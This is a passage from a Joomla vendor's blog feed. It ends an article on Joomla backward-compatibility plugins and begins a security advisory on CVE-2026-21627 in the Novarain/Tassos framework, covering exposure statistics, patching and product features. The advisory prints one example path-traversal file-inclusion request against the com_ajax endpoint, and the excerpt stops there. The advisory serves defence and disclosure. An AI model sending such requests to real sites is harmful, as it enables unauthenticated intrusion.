&lt;h2&gt;Toggle Compat Plugins Remotely from mySites.guru&lt;/h2&gt;
&lt;p&gt;Beyond the overview page, there are two standalone audit checks under Extension Information on each site&apos;s manage page:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Backward Compatibility Plugin (J4 Classes)&lt;/strong&gt; - tracks &lt;code&gt;plg_behaviour_compat&lt;/code&gt; on J5 sites&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backward Compatibility Plugin (J5 Classes)&lt;/strong&gt; - tracks &lt;code&gt;plg_behaviour_compat6&lt;/code&gt; on J5.4+ and J6 sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both let you toggle the plugin on or off remotely. No need to log into the Joomla admin or touch the database. If you&apos;re testing J6 readiness across multiple client sites, you can disable the compat plugin, check what breaks, and re-enable it all from one place.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;There&apos;s also a pivot page that shows the compat plugin status across every connected Joomla site on one screen, with toggle switches to enable or disable each one directly:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;Warning&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;Disabling the compat plugin may crash your site if any extension still depends on deprecated classes. Always test on a staging copy first, or be prepared to re-enable it quickly using the same toggle.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;How to Test Whether Your Extensions Need the Compat Plugin&lt;/h2&gt;
&lt;p&gt;The only reliable way to know is to disable it and see what breaks. Do this safely:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make a staging copy of your site. Never test this on production first.&lt;/li&gt;
&lt;li&gt;Disable the compat plugin from the Joomla admin (Extensions &amp;gt; Plugins &amp;gt; search for &quot;compat&quot;) or remotely via mySites.guru&apos;s toggle.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Test every page and feature. Visit the frontend, the admin panel, and trigger any scheduled tasks or AJAX features. Check forms, search, and any custom functionality.&lt;/li&gt;
&lt;li&gt;Check the error logs. The typical error is &lt;code&gt;An error has occurred: 0 Class &apos;JPlugin&apos; not found&lt;/code&gt; or similar with &lt;code&gt;JTable&lt;/code&gt;, &lt;code&gt;JFactory&lt;/code&gt;, &lt;code&gt;JRegistry&lt;/code&gt;, etc. The class name in the error tells you exactly what deprecated API the extension is calling.&lt;/li&gt;
&lt;li&gt;Identify the extension. The stack trace in the error log shows which extension file triggered the error. That extension needs updating. &lt;strong&gt;Tip:&lt;/strong&gt; you may need to enable debug mode and set error reporting to Maximum in Joomla&apos;s Global Configuration first, otherwise you&apos;ll just see a generic error page. Also check if your template has a custom &lt;code&gt;error.php&lt;/code&gt; file that hides the real error behind a visitor-friendly page. Temporarily rename or remove it while testing so Joomla&apos;s core error handler shows the raw stack trace instead.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If everything works with the plugin disabled, you&apos;re clear. If something crashes, you now know exactly which extensions need attention.&lt;/p&gt;
&lt;h2&gt;What to Do When an Extension Needs the Compat Layer&lt;/h2&gt;
&lt;p&gt;You&apos;ve disabled the compat plugin, your site crashed, and the error log says &lt;code&gt;Class &apos;JFactory&apos; not found&lt;/code&gt; in a third-party extension. Now what?&lt;/p&gt;
&lt;p&gt;If the extension has an update available, install it. Most actively maintained extensions were updated for Joomla 5 native compatibility years ago. Check the developer&apos;s site or the &lt;a href=&quot;https://extensions.joomla.org/&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If there&apos;s no update, contact the developer and point them to the &lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot;&gt;Joomla migration documentation&lt;/a&gt;. The changes are usually straightforward, just replacing old class names with namespaced equivalents. &lt;code&gt;JFactory&lt;/code&gt; becomes &lt;code&gt;Joomla\CMS\Factory&lt;/code&gt;, &lt;code&gt;JPlugin&lt;/code&gt; becomes &lt;code&gt;Joomla\CMS\Plugin\CMSPlugin&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;p&gt;If the extension is abandoned, find an alternative. An extension that still uses Joomla 4 class names in 2026 is not being maintained, and you shouldn&apos;t depend on it for production. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;manage all your extensions&lt;/a&gt; tool in mySites.guru can help you audit what&apos;s installed across your sites.&lt;/p&gt;
&lt;p&gt;If it&apos;s your own custom code, update the class references yourself. The Joomla project maintains a &lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot;&gt;complete mapping&lt;/a&gt; of old class names to new namespaced versions. Most replacements are a find-and-replace job.&lt;/p&gt;
&lt;h2&gt;How to Recover If Your Site Crashes After Disabling Compat&lt;/h2&gt;
&lt;p&gt;If you disabled the compat plugin on a live site (we said not to) and it&apos;s now showing a white screen, you have three ways to get it back:&lt;/p&gt;
&lt;h3&gt;Option 1: Use mySites.guru (Fastest)&lt;/h3&gt;
&lt;p&gt;If the site is still connected to mySites.guru, use the remote toggle in the audit tool to re-enable the plugin. The connector communicates directly with the database, so it works even when the Joomla frontend is down.&lt;/p&gt;
&lt;h3&gt;Option 2: Edit the Database Directly&lt;/h3&gt;
&lt;p&gt;Connect to your database with phpMyAdmin, Adminer, SSH, or your host&apos;s control panel (cPanel, Plesk, etc.):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE `#__extensions`
SET `enabled` = 1
WHERE `element` = &apos;compat&apos;
  AND `folder` = &apos;behaviour&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the Joomla 6 compat plugin (&lt;code&gt;plg_behaviour_compat6&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPDATE `#__extensions`
SET `enabled` = 1
WHERE `element` = &apos;compat6&apos;
  AND `folder` = &apos;behaviour&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;#__&lt;/code&gt; with your actual table prefix (usually &lt;code&gt;jos_&lt;/code&gt; or whatever you set during installation).&lt;/p&gt;
&lt;h3&gt;Option 3: Edit the configuration.php File (Emergency)&lt;/h3&gt;
&lt;p&gt;If you can&apos;t access the database at all, you can temporarily put Joomla into offline mode by editing &lt;code&gt;configuration.php&lt;/code&gt; and setting &lt;code&gt;$offline = true&lt;/code&gt;. This gives you access to the admin login page where you can re-enable the plugin. Change it back to &lt;code&gt;false&lt;/code&gt; after.&lt;/p&gt;
&lt;h2&gt;You Must Disable &lt;code&gt;plg_behaviour_compat&lt;/code&gt; Before Upgrading to Joomla 6&lt;/h2&gt;
&lt;p&gt;This is worth calling out separately: Joomla requires that you disable the compat plugin &lt;strong&gt;before&lt;/strong&gt; upgrading from J5 to J6. If your site breaks when you disable it, that&apos;s Joomla telling you something isn&apos;t ready. Re-enable it, fix the incompatible extensions while still on J5, and then try the upgrade again.&lt;/p&gt;
&lt;p&gt;Extensions that were commonly reported as needing the compat plugin (as of 2024, most have since been updated): Convert Forms / NRFramework (Tassos), Acymailing (Acyba), Dropfiles/Droppics (JoomUnited), LSCache (LiteSpeed), and Ecwid. If you&apos;re running any of these, make sure you&apos;re on the latest version before disabling.&lt;/p&gt;
&lt;h2&gt;The Joomla Compat Plugin Migration Timeline&lt;/h2&gt;
&lt;p&gt;The lifecycle of Joomla&apos;s compat plugins follows a predictable pattern:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Plugin&lt;/th&gt;
&lt;th&gt;Introduced&lt;/th&gt;
&lt;th&gt;Covers&lt;/th&gt;
&lt;th&gt;Removed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plg_behaviour_compat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Joomla 5.0&lt;/td&gt;
&lt;td&gt;Joomla 4 deprecated classes&lt;/td&gt;
&lt;td&gt;Joomla 6.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plg_behaviour_compat6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Joomla 5.4&lt;/td&gt;
&lt;td&gt;Joomla 5 deprecated classes&lt;/td&gt;
&lt;td&gt;Joomla 7 (expected)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If you&apos;re running Joomla 5 today with the compat plugin enabled, you have until your Joomla 6 upgrade to sort it out. If you&apos;re already on Joomla 6, the J4 compat layer is already gone - any extensions that needed it either broke during the upgrade or were updated beforehand.&lt;/p&gt;
&lt;p&gt;For Joomla 6 sites, the &lt;code&gt;plg_behaviour_compat6&lt;/code&gt; plugin gives you a similar grace period for J5 deprecated classes until Joomla 7 arrives.&lt;/p&gt;
&lt;p&gt;Joomla gives you one major version cycle to update your code. After that, the safety net disappears.&lt;/p&gt;
&lt;h2&gt;How to Prevent Accidental Joomla Version Jumps&lt;/h2&gt;
&lt;p&gt;While you&apos;re testing compat plugin readiness, make sure your production sites aren&apos;t set to accidentally upgrade to the next major version. The update channel controls which versions Joomla offers. Check out our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;how to prevent accidental Joomla version jumps&lt;/a&gt; to lock your sites to the current series until you&apos;re ready.&lt;/p&gt;
&lt;p&gt;You can also check the update channel status for all your sites on the same &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Compatibility page&lt;/a&gt; that now shows compat plugin status.&lt;/p&gt;
&lt;h2&gt;Watch: Joomla Backward Compatibility Plugin Explained&lt;/h2&gt;
&lt;p&gt;Tim Davis from &lt;a href=&quot;https://www.youtube.com/@basicjoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; covered the backward compatibility plugin back in 2024, but the fundamentals haven&apos;t changed. If you prefer video over text, this is still a solid walkthrough of what the plugin does and why it matters:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 aspect-video&quot;&amp;gt;
&amp;lt;iframe width=&quot;100%&quot; height=&quot;100%&quot; src=&quot;https://www.youtube-nocookie.com/embed/KVxD-FQeseU&quot; title=&quot;Joomla Backward Compatibility Plugin explained by Basic Joomla Tutorials&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen loading=&quot;lazy&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Check out his &lt;a href=&quot;https://www.youtube.com/@basicjoomla/search?query=mysites.guru&quot;&gt;full mySites.guru playlist on YouTube&lt;/a&gt; for more walkthroughs of the audit tools.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/44-50/compat-plugin/&quot;&gt;Compatibility Plugin (J4 to J5) - Joomla Programmers Documentation&lt;/a&gt; - official mapping of deprecated J4 classes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/54-60/compat-plugin/&quot;&gt;Compatibility Plugins (J5 to J6) - Joomla Programmers Documentation&lt;/a&gt; - official mapping of deprecated J5 classes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/february-2024/the-backward-compatibility-plugin-and-why-you-should-switch-it-off&quot;&gt;The Backward Compatibility Plugin and Why You Should Switch It Off - Joomla Magazine&lt;/a&gt; - Joomla community perspective&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://manual.joomla.org/migrations/54-60/&quot;&gt;Joomla 5.4 to 6.0 Upgrade Notes - Joomla Documentation&lt;/a&gt; - full migration planning guide&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>extensions</category><category>compatibility</category><category>migration</category><enclosure url="https://mysites.guru/_astro/joomla-compat-plugin-crutch.DCr5AQmj.png" length="0" type="image/png"/></item><item><title>Novarain Framework Vulnerability: Check Your Joomla Sites for nrframework</title><link>https://mysites.guru/blog/novarain-framework-joomla-vulnerability/</link><guid isPermaLink="true">https://mysites.guru/blog/novarain-framework-joomla-vulnerability/</guid><description>CVE-2026-21627 (CVSS 9.5) - Tassos/Novarain Framework for Joomla allows unauthenticated file inclusion, deletion, and SQL injection.</description><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos/Novarain Framework&lt;/a&gt; (plg_system_nrframework) for Joomla has a critical vulnerability (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21627&quot;&gt;CVE-2026-21627&lt;/a&gt;, CVSS 9.5) that allows unauthenticated attackers to include arbitrary PHP files, delete files, and perform SQL injection. A public exploit tool is already on GitHub.&lt;/p&gt;
&lt;p&gt;Most Joomla administrators don&apos;t know this plugin is on their sites. It&apos;s a hidden dependency, installed automatically when you add any Tassos.gr extension like Convert Forms, EngageBox, or Google Structured Data. If you manage Joomla sites and you&apos;re not sure whether this affects you, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; to find out.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-200 bg-neutral-50 p-4 dark:border-neutral-700 dark:bg-neutral-900&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-neutral-900 dark:text-neutral-200&quot;&amp;gt;Why are we writing about this now?&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-neutral-800 dark:text-neutral-300&quot;&amp;gt;This CVE was reserved in January 2026 and publicly disclosed on 16 February. Tassos.gr patched it within days. That was six weeks ago. We&apos;re writing about it because 3,861 sites in our dataset - 46.5% of those running the Novarain Framework - are still on vulnerable versions as of 30 March 2026. The vendor did their job. The patch exists. But a patch nobody installs protects nobody, and a public exploit on GitHub means the window for automated attacks is wide open. If you manage Joomla sites with Tassos extensions and you haven&apos;t checked, this post is for you.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-21627&lt;/strong&gt; - CVSS 9.5 critical unauthenticated vulnerability in plg_system_nrframework versions 4.10.14 through 6.0.37&lt;/li&gt;
&lt;li&gt;Attackers can include arbitrary PHP files, read files, delete files, and perform SQL injection through Joomla&apos;s &lt;code&gt;com_ajax&lt;/code&gt; endpoint - no login required&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to nrframework 6.0.38+&lt;/strong&gt; immediately via &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos.gr downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Affects every Joomla site running Convert Forms, EngageBox, Google Structured Data, Advanced Custom Fields, or Smile Pack&lt;/li&gt;
&lt;li&gt;A public exploit with multiple attack modes is available on GitHub&lt;/li&gt;
&lt;li&gt;Already compromised? Updating alone won&apos;t undo the damage. &lt;a href=&quot;#how-do-you-check-if-your-site-has-been-exploited&quot;&gt;Check for signs of compromise below&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;This vulnerability was disclosed on 16 February 2026 and patched the same week. That was six weeks ago. As of 30 March 2026, 46.5% of affected sites in our dataset are still running vulnerable versions. A weaponised exploit tool with multiple attack modes is on GitHub. If you haven&apos;t patched, your sites have been exposed for over a month.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;To their credit, &lt;a href=&quot;https://www.tassos.gr/blog/company/security-update-tassos-framework-patch-released&quot;&gt;Tassos.gr responded quickly&lt;/a&gt;. They published a security advisory on 18 February 2026, two days after the SSD disclosure, and confirmed patched versions for every affected extension on both Joomla 3 and Joomla 4/5/6. They also noted they had &quot;no evidence that this vulnerability has been exploited in the wild&quot; at the time of their advisory. The vendor did their part. The problem is that six weeks later, nearly half the sites running their framework haven&apos;t applied the update.&lt;/p&gt;
&lt;h2&gt;What is the Novarain Framework?&lt;/h2&gt;
&lt;p&gt;The Novarain Framework (also called the Tassos Framework) is a shared library plugin for Joomla, distributed as &lt;code&gt;plg_system_nrframework&lt;/code&gt;. It provides common functionality - AJAX handling, custom fields, form processing, geo-IP lookups - used by every extension in the &lt;a href=&quot;https://www.tassos.gr/&quot;&gt;Tassos.gr&lt;/a&gt; product suite.&lt;/p&gt;
&lt;p&gt;Every extension in the suite bundles it:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;th&gt;JED ranking&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/convert-forms/&quot;&gt;&lt;strong&gt;Convert Forms&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Form builder (contact, payment, registration)&lt;/td&gt;
&lt;td&gt;#2 on JED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/engage-box/&quot;&gt;&lt;strong&gt;EngageBox&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Popup and sticky bar builder&lt;/td&gt;
&lt;td&gt;#6 on JED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/google-structured-data/&quot;&gt;&lt;strong&gt;Google Structured Data&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Schema markup for SEO&lt;/td&gt;
&lt;td&gt;#20 on JED&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/advanced-custom-fields/&quot;&gt;&lt;strong&gt;Advanced Custom Fields&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Custom field types for Joomla&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/smile-pack/&quot;&gt;&lt;strong&gt;Smile Pack&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;UI enhancement toolkit&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/marketing/mailing-a-newsletter-bridges/user-auto-add-to-mailchimp-for-joomla/&quot;&gt;&lt;strong&gt;MailChimp Auto-Subscribe&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Mailing list automation&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;These are popular, well-regarded extensions. Over 2.1 million downloads across the suite. The framework itself is installed silently as a dependency. You won&apos;t see &quot;Novarain Framework&quot; in any marketing material or installation wizard. It just appears in your plugin list as &lt;code&gt;plg_system_nrframework&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And that&apos;s the problem. An admin installs Convert Forms to build a contact page. They don&apos;t realise they&apos;ve also installed a system plugin with its own AJAX endpoint, file handling methods, and database query layer. When that framework has a critical vulnerability, they don&apos;t know to look for it.&lt;/p&gt;
&lt;h3&gt;How widespread is this?&lt;/h3&gt;
&lt;p&gt;We checked our own data. Across the tens of thousands of Joomla sites connected to mySites.guru:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Count&lt;/th&gt;
&lt;th&gt;Percentage&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Sites with nrframework installed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8,297&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sites on vulnerable versions (&amp;lt; 6.0.38)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3,861&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;46.5% of nrframework sites&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sites on patched versions (6.0.38+)&lt;/td&gt;
&lt;td&gt;4,240&lt;/td&gt;
&lt;td&gt;51.1% of nrframework sites&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Nearly half of the sites running the Novarain Framework are still on vulnerable versions. That&apos;s 3,861 sites exposed to unauthenticated remote code execution, with a public exploit available.&lt;/p&gt;
&lt;p&gt;The most common vulnerable version we see is 6.0.37 (328 sites), sitting just one version behind the fix. Sites on older branches like 5.0.x (404 sites on 5.0.88) and 4.x (375 sites on 4.6.23) are also exposed and may need a larger version jump to reach the patched release.&lt;/p&gt;
&lt;p&gt;The version distribution tells a story about how Joomla extension updates actually work in practice. The largest single group (2,855 sites) is already on 6.0.68 - well past the fix. The second-largest group (1,018 sites) is on 6.0.62, also safe. These are sites with active Tassos.gr subscriptions and either automatic updates or attentive admins.&lt;/p&gt;
&lt;p&gt;The vulnerable sites are a mix: some are on the 6.0.x branch but haven&apos;t updated since before the patch (the 328 sites on 6.0.37), some are on older major branches where the admin may not realise a security update is available (the 5.0.x and 4.x clusters), and some are on very old versions (58 sites still running 3.1.7) where the Tassos subscription likely expired years ago and updates simply aren&apos;t available.&lt;/p&gt;
&lt;p&gt;That last group is the hardest to reach. They&apos;re running abandoned extension versions on potentially abandoned Joomla installations, and no amount of vendor patching will fix them. The only way to find and address those sites is to have a central inventory that flags outdated and vulnerable extensions automatically.&lt;/p&gt;
&lt;h2&gt;How to find sites with nrframework installed with mySites.guru&lt;/h2&gt;
&lt;p&gt;Finding affected sites, checking versions, scanning logs, auditing for compromise - that takes about 10 minutes per site when done manually. If you manage 50 Joomla sites, that&apos;s most of a working day. mySites.guru collapses that into minutes.&lt;/p&gt;
&lt;h3&gt;Find every affected site in seconds&lt;/h3&gt;
&lt;p&gt;mySites.guru tracks every installed extension on every connected site, including silent dependencies like nrframework. It&apos;s one of the core features of &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; from a single dashboard. Search for &lt;code&gt;nrframework&lt;/code&gt; across your portfolio and you&apos;ll see which sites have it, which version they&apos;re running, and when it was last updated. That&apos;s how we pulled the statistics for this post: 8,297 sites with nrframework, version breakdown by site, all from a single query.&lt;/p&gt;
&lt;p&gt;You don&apos;t need to log into each Joomla admin panel and search the extensions list manually. The inventory is always current. One URL gives you the complete list of every site running nrframework, broken down by version number, with the site&apos;s PHP version, Joomla version, and SSL status alongside it:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, you can open this page right now:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;View all your nrframework installations&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2&quot;&amp;gt;&amp;lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/2e50e1aa3d94b70479ef905895ede5ed&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open nrframework Extension Search&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Lists every version of plg_system_nrframework installed across all your connected sites, grouped by version number. You&apos;ll see which sites are still on vulnerable versions at a glance.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Every version of nrframework installed across connected sites is listed at the top. Below that, every individual site running the plugin, with its exact version. Vulnerable and patched versions are visible at a glance.&lt;/p&gt;
&lt;p&gt;That turns a vulnerability announcement from a stressful afternoon of logging into admin panels into a five-minute triage. One page, the full picture of which clients are exposed, and patching can start immediately.&lt;/p&gt;
&lt;p&gt;If you don&apos;t have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for a free trial&lt;/a&gt; and connect your sites. The extension index builds automatically on the first audit.&lt;/p&gt;
&lt;h3&gt;Get alerted the day a CVE drops&lt;/h3&gt;
&lt;p&gt;When a CVE like this one is disclosed, mySites.guru cross-references it against the extension versions on your connected sites and flags every affected installation. You get an alert telling you exactly which sites need patching, rather than finding out weeks later (or from this blog post).&lt;/p&gt;
&lt;h3&gt;Spot uploaded PHP shells before the damage spreads&lt;/h3&gt;
&lt;p&gt;If an attacker exploits CVE-2026-21627 to upload a PHP shell to &lt;code&gt;/images/&lt;/code&gt; or &lt;code&gt;/tmp/&lt;/code&gt;, mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerting&lt;/a&gt; picks it up. You&apos;ll see which file was created, when, and on which site. That&apos;s the difference between finding a backdoor in minutes and discovering it months later when Google flags your site for serving malware.&lt;/p&gt;
&lt;h3&gt;Push the patch to every site at once&lt;/h3&gt;
&lt;p&gt;Once you&apos;ve confirmed the patched version works on a test site, use the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; to push the Tassos extension update to every affected site in your portfolio simultaneously. One action, all sites patched, window of exposure closed.&lt;/p&gt;
&lt;h3&gt;Scan for backdoors if you were exposed&lt;/h3&gt;
&lt;p&gt;If any of your sites were running a vulnerable version during the six-week window since disclosure, run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;security audit&lt;/a&gt; to scan for signs of exploitation. The audit checks for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspicious files, backdoors, and known hack signatures&lt;/a&gt; across the entire file system - the kind of artefacts an attacker leaves behind after chaining the file inclusion and SQL injection primitives in this vulnerability.&lt;/p&gt;
&lt;h2&gt;What does CVE-2026-21627 actually allow?&lt;/h2&gt;
&lt;p&gt;The vulnerability gives attackers three distinct capabilities, all without authentication:&lt;/p&gt;
&lt;h3&gt;1. Arbitrary PHP file inclusion&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;ajaxTaskInclude()&lt;/code&gt; method in &lt;code&gt;nrframework.php&lt;/code&gt; is whitelisted for frontend access via the &lt;code&gt;$non_admin_tasks&lt;/code&gt; array. It accepts a &lt;code&gt;path&lt;/code&gt; parameter with Joomla&apos;s RAW input filter, which means zero sanitisation. The concatenated path goes straight to &lt;code&gt;@include_once&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;An attacker sends a request like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /?option=com_ajax&amp;amp;format=raw&amp;amp;plugin=nrframework&amp;amp;task=include&amp;amp;path=../../../some/file&amp;amp;class=TargetClass
&lt;/code&gt;&lt;/pre&gt;
